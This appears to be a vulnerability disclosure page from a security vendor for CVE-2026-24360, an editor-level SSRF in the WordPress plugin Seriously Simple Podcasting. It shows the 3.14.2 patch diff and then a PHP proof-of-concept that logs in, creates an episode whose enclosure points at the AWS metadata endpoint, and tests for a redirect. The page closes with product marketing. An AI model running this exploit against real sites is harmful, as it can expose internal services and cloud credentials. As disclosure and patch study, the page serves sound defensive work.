+					'referer'    => isset( $_SERVER['HTTP_REFERER'] ) ? esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) : 'unknown',
+				) )
+			)
+		);
+
+		// Return 403 Forbidden for blocked URLs.
+		status_header( 403 );
+		nocache_headers();
+		wp_die(
+			esc_html__( 'Access to this resource is not permitted.', 'seriously-simple-podcasting' ),
+			esc_html__( 'Forbidden', 'seriously-simple-podcasting' ),
+			array( 'response' => 403 )
+		);
+	}
+
+	/**
+	 * Get client IP address with proxy support
+	 *
+	 * Attempts to get the real client IP address even when behind proxies.
+	 * Falls back to REMOTE_ADDR if proxy headers are not available.
+	 *
+	 * @since 3.14.2
+	 * @return string Client IP address or 'unknown' if not available.
+	 */
+	protected function get_client_ip() {
+		// Check for proxy headers in order of reliability.
+		$headers = array(
+			'HTTP_CF_CONNECTING_IP', // Cloudflare
+			'HTTP_X_REAL_IP',        // Nginx proxy
+			'HTTP_X_FORWARDED_FOR',  // Standard proxy header
+			'REMOTE_ADDR',           // Direct connection
+		);
+
+		foreach ( $headers as $header ) {
+			if ( ! empty( $_SERVER[ $header ] ) ) {
+				$ip = sanitize_text_field( wp_unslash( $_SERVER[ $header ] ) );
+
+				// X-Forwarded-For can contain multiple IPs (client, proxy1, proxy2...)
+				// Use the first one (the original client).
+				if ( 'HTTP_X_FORWARDED_FOR' === $header && strpos( $ip, ',' ) !== false ) {
+					$ips = array_map( 'trim', explode( ',', $ip ) );
+					$ip  = $ips[0];
+				}
+
+				// Validate it's a proper IP address.
+				if ( filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+					return $ip;
+				}
+			}
+		}
+
+		return 'unknown';
+	}
+
+	/**
+	 * Clear all URL validation and DNS caches
+	 *
+	 * Useful for debugging or after security updates.
+	 * Clears both URL validation results and DNS resolution caches.
+	 *
+	 * @since 3.14.2
+	 * @return int Number of cache entries deleted.
+	 */
+	public function clear_validation_cache() {
+		global $wpdb;
+
+		// Delete all transients matching our patterns.
+		$deleted = $wpdb->query(
+			$wpdb->prepare(
+				"DELETE FROM {$wpdb->options}
+				 WHERE option_name LIKE %s
+				 OR option_name LIKE %s
+				 OR option_name LIKE %s
+				 OR option_name LIKE %s",
+				'_transient_ssp_url_valid_%',
+				'_transient_timeout_ssp_url_valid_%',
+				'_transient_ssp_dns_%',
+				'_transient_timeout_ssp_dns_%'
+			)
+		);
+
+		// Flush object cache if available.
+		wp_cache_flush();
+
+		return $deleted;
 	}

 	/**
@@ -1129,7 +1937,7 @@
 	 * This is used in the SeriouslySimplePodcastingWidgetsSingle_Episode widget
 	 * as well as the SeriouslySimplePodcastingShortCodesPodcast_Episode shortcode
 	 *
-	 * @param  integer $episode_id    ID of episode post
+	 * @param  int     $episode_id    ID of episode post
 	 * @param  array   $content_items Ordered array of content items to display
 	 * @return string                 HTML of episode with specified content items
 	 */
@@ -1144,6 +1952,9 @@
 			$episode_id = $this->episode_repository->get_latest_episode_id();
 		}

+		// Ensure episode_id is a positive integer for security and type safety
+		$episode_id = absint( $episode_id );
+
 		// Get episode object
 		$episode = get_post( $episode_id );

@@ -1179,7 +1990,7 @@
 						$file = $this->get_episode_download_link( $episode_id );
 					}

-					$html .= '<div id="podcast_player_' . $episode_id . '" class="podcast_player">' . $this->media_player( $file, $episode_id, $style, 'podcast_episode' ) . '</div>' . "n";
+					$html .= '<div id="podcast_player_' . esc_attr( $episode_id ) . '" class="podcast_player">' . $this->media_player( $file, $episode_id, $style, 'podcast_episode' ) . '</div>' . "n";
 					break;

 				case 'details':
@@ -1201,3 +2012,4 @@
 		return $html;
 	}
 }
+
--- a/seriously-simple-podcasting/php/classes/controllers/class-podcast-post-types-controller.php
+++ b/seriously-simple-podcasting/php/classes/controllers/class-podcast-post-types-controller.php
@@ -599,7 +599,12 @@
 		}

 		// Get file size
-		if ( $is_enclosure_updated || get_post_meta( $post_id, 'filesize', true ) == '' ) {
+		// Only skip if BOTH filesize and filesize_raw exist (ensures data consistency)
+		// If either is missing, recalculate both to avoid mixing frontend/backend data
+		$has_filesize     = get_post_meta( $post_id, 'filesize', true ) != '';
+		$has_filesize_raw = get_post_meta( $post_id, 'filesize_raw', true ) != '';
+
+		if ( $is_enclosure_updated || ! $has_filesize || ! $has_filesize_raw ) {
 			$filesize = $this->episode_repository->get_file_size( $enclosure );
 			if ( $filesize ) {
 				if ( isset( $filesize['formatted'] ) ) {
--- a/seriously-simple-podcasting/php/classes/handlers/class-cpt-podcast-handler.php
+++ b/seriously-simple-podcasting/php/classes/handlers/class-cpt-podcast-handler.php
@@ -129,14 +129,9 @@
 			return;
 		}

-		// Get all displayed custom fields
+		// Get all custom fields (including filesize_raw).
 		$fields = $this->custom_fields();

-		// Add 'filesize_raw' as this is not included in the displayed field options
-		$fields['filesize_raw'] = array(
-			'meta_description' => __( 'The raw file size of the podcast episode media file in bytes.', 'seriously-simple-podcasting' ),
-		);
-
 		foreach ( $fields as $key => $data ) {
 			$args = array(
 				'type'         => 'string',
@@ -263,14 +258,13 @@
 			'meta_description' => __( 'The size of the podcast episode for display purposes.', 'seriously-simple-podcasting' ),
 		);

-		if ( $is_connected_to_castos || $all ) {
-			$fields['filesize_raw'] = array(
-				'type'             => 'hidden',
-				'default'          => '',
-				'section'          => 'info',
-				'meta_description' => __( 'Raw size of the podcast episode.', 'seriously-simple-podcasting' ),
-			);
-		}
+
+		$fields['filesize_raw'] = array(
+			'type'             => 'hidden',
+			'default'          => '',
+			'section'          => 'info',
+			'meta_description' => __( 'Raw size of the podcast episode in bytes (required for RSS feed).', 'seriously-simple-podcasting' ),
+		);

 		$fields['date_recorded'] = array(
 			'name'             => __( 'Date recorded:', 'seriously-simple-podcasting' ),
--- a/seriously-simple-podcasting/php/classes/repositories/class-episode-repository.php
+++ b/seriously-simple-podcasting/php/classes/repositories/class-episode-repository.php
@@ -1100,9 +1100,7 @@
 				}
 			}

-			if ( $data ) {
-				return apply_filters( 'ssp_file_duration', $duration, $file );
-			}
+			return apply_filters( 'ssp_file_duration', $duration, $file );
 		}

 		return false;
--- a/seriously-simple-podcasting/php/includes/ssp-functions.php
+++ b/seriously-simple-podcasting/php/includes/ssp-functions.php
@@ -700,7 +700,7 @@
 	 *
 	 * @param $formatted_size
 	 *
-	 * @return string
+	 * @return int
 	 */
 	function convert_human_readable_to_bytes( $formatted_size ) {

@@ -708,18 +708,23 @@
 		$formatted_size_value = trim( str_replace( $formatted_size_type, '', $formatted_size ) );

 		switch ( strtoupper( $formatted_size_type ) ) {
-			case 'KB':
-				return $formatted_size_value * 1024;
-			case 'MB':
-				return $formatted_size_value * pow( 1024, 2 );
-			case 'GB':
-				return $formatted_size_value * pow( 1024, 3 );
-			case 'TB':
-				return $formatted_size_value * pow( 1024, 4 );
-			case 'PB':
-				return $formatted_size_value * pow( 1024, 5 );
+			case 'K':   // Single letter (from format_bytes).
+			case 'KB':  // Two letters (standard).
+				return (int) ( $formatted_size_value * 1024 );
+			case 'M':   // Single letter (from format_bytes).
+			case 'MB':  // Two letters (standard).
+				return (int) ( $formatted_size_value * pow( 1024, 2 ) );
+			case 'G':   // Single letter (from format_bytes).
+			case 'GB':  // Two letters (standard).
+				return (int) ( $formatted_size_value * pow( 1024, 3 ) );
+			case 'T':   // Single letter (from format_bytes).
+			case 'TB':  // Two letters (standard).
+				return (int) ( $formatted_size_value * pow( 1024, 4 ) );
+			case 'P':   // Single letter (from format_bytes).
+			case 'PB':  // Two letters (standard).
+				return (int) ( $formatted_size_value * pow( 1024, 5 ) );
 			default:
-				return $formatted_size_value;
+				return (int) $formatted_size_value;
 		}
 	}
 }
--- a/seriously-simple-podcasting/seriously-simple-podcasting.php
+++ b/seriously-simple-podcasting/seriously-simple-podcasting.php
@@ -1,14 +1,14 @@
 <?php
 /**
  * Plugin Name: Seriously Simple Podcasting
- * Version: 3.14.1
+ * Version: 3.14.2
  * Plugin URI: https://castos.com/seriously-simple-podcasting/?utm_medium=sspodcasting&utm_source=wordpress&utm_campaign=wpplugin_08_2019
  * Description: Podcasting the way it's meant to be. No mess, no fuss - just you and your content taking over the world.
  * Author: Castos
  * Author URI: https://castos.com/?utm_medium=sspodcasting&utm_source=wordpress&utm_campaign=wpplugin_08_2019
  * Requires PHP: 7.4
  * Requires at least: 5.3
- * Tested up to: 6.8
+ * Tested up to: 6.9
  *
  * Text Domain: seriously-simple-podcasting
  *
@@ -22,7 +22,7 @@
 	exit;
 }

-define( 'SSP_VERSION', '3.14.1' );
+define( 'SSP_VERSION', '3.14.2' );
 define( 'SSP_PLUGIN_FILE', __FILE__ );
 define( 'SSP_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'SSP_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
--- a/seriously-simple-podcasting/vendor/autoload.php
+++ b/seriously-simple-podcasting/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit7214f89a537401c9b65ae570ba5a4fba::getLoader();
+return ComposerAutoloaderInit7c62f253573551aa1efeaf9663df9100::getLoader();
--- a/seriously-simple-podcasting/vendor/composer/autoload_real.php
+++ b/seriously-simple-podcasting/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit7214f89a537401c9b65ae570ba5a4fba
+class ComposerAutoloaderInit7c62f253573551aa1efeaf9663df9100
 {
     private static $loader;

@@ -22,15 +22,15 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInit7214f89a537401c9b65ae570ba5a4fba', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit7c62f253573551aa1efeaf9663df9100', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInit7214f89a537401c9b65ae570ba5a4fba', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit7c62f253573551aa1efeaf9663df9100', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInit7214f89a537401c9b65ae570ba5a4fba::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInit7c62f253573551aa1efeaf9663df9100::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
--- a/seriously-simple-podcasting/vendor/composer/autoload_static.php
+++ b/seriously-simple-podcasting/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit7214f89a537401c9b65ae570ba5a4fba
+class ComposerStaticInit7c62f253573551aa1efeaf9663df9100
 {
     public static $classMap = array (
         'Composer\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
@@ -104,7 +104,7 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->classMap = ComposerStaticInit7214f89a537401c9b65ae570ba5a4fba::$classMap;
+            $loader->classMap = ComposerStaticInit7c62f253573551aa1efeaf9663df9100::$classMap;

         }, null, ClassLoader::class);
     }
--- a/seriously-simple-podcasting/vendor/composer/installed.php
+++ b/seriously-simple-podcasting/vendor/composer/installed.php
@@ -5,7 +5,7 @@
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
-        'reference' => 'e2bf00a46f12ec8d01e540c7cdc7b617c2627645',
+        'reference' => 'e47c57ed672dadad1aa6e43278a851d6356845bf',
         'name' => 'castos/seriously-simple-podcasting',
         'dev' => false,
     ),
@@ -16,7 +16,7 @@
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
-            'reference' => 'e2bf00a46f12ec8d01e540c7cdc7b617c2627645',
+            'reference' => 'e47c57ed672dadad1aa6e43278a851d6356845bf',
             'dev_requirement' => false,
         ),
     ),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24360 - Seriously Simple Podcasting <= 3.14.1 - Authenticated (Editor+) Server-Side Request Forgery

<?php
/**
 * Proof of Concept for CVE-2026-24360
 * Requires Editor-level WordPress credentials
 * Demonstrates SSRF via podcast episode enclosure URL manipulation
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'editor_user';
$password = 'editor_password';

// Internal target to test SSRF (AWS metadata endpoint example)
$internal_target = 'http://169.254.169.254/latest/meta-data/';

// Initialize cURL session for WordPress authentication
$ch = curl_init();

// Step 1: Authenticate to WordPress and get nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Step 2: Create a new podcast episode with malicious enclosure URL
// First, get the necessary nonce for creating posts
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=podcast');
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract nonce from the page (simplified - in real scenario use DOM parsing)
// This is a simplified example; actual implementation would parse the HTML
preg_match('/"ssp_podcasting_nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Create podcast episode with SSRF payload as enclosure
$post_data = [
    'post_title' => 'Malicious Podcast Episode',
    'post_type' => 'podcast',
    'post_status' => 'publish',
    'action' => 'editpost',
    '_wpnonce' => $nonce,
    'meta_input[_podcast_audio_file]' => $internal_target,  // SSRF payload
    'meta_input[_podcast_duration]' => '00:30:00',
    'meta_input[_podcast_file_size]' => '1000000'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Extract episode ID from response (simplified)
preg_match('/post=([0-9]+)/', $response, $episode_matches);
$episode_id = $episode_matches[1] ?? '0';

if ($episode_id !== '0') {
    echo "[+] Created malicious podcast episode with ID: $episode_idn";
    
    // Step 4: Trigger the SSRF by accessing the download endpoint
    curl_setopt($ch, CURLOPT_URL, $target_url . '/?podcast_episode=' . $episode_id);
    curl_setopt($ch, CURLOPT_POST, 0);
    // Set a custom header to capture the redirect location
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_NOBODY, 1);
    $response = curl_exec($ch);
    
    // Check if redirect was attempted to internal target
    if (strpos($response, 'Location: ' . $internal_target) !== false) {
        echo "[+] SSRF vulnerability confirmed! Plugin attempts to redirect to: $internal_targetn";
        echo "[+] The server would make a request to internal services.n";
    } else {
        echo "[-] No redirect to internal target detected. Vulnerability may be patched.n";
    }
} else {
    echo "[-] Failed to create podcast episoden";
}

curl_close($ch);
unlink('cookies.txt');

// Note: This PoC requires valid Editor credentials and demonstrates the attack flow.
// In a real attack, the attacker would monitor responses from the internal service.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School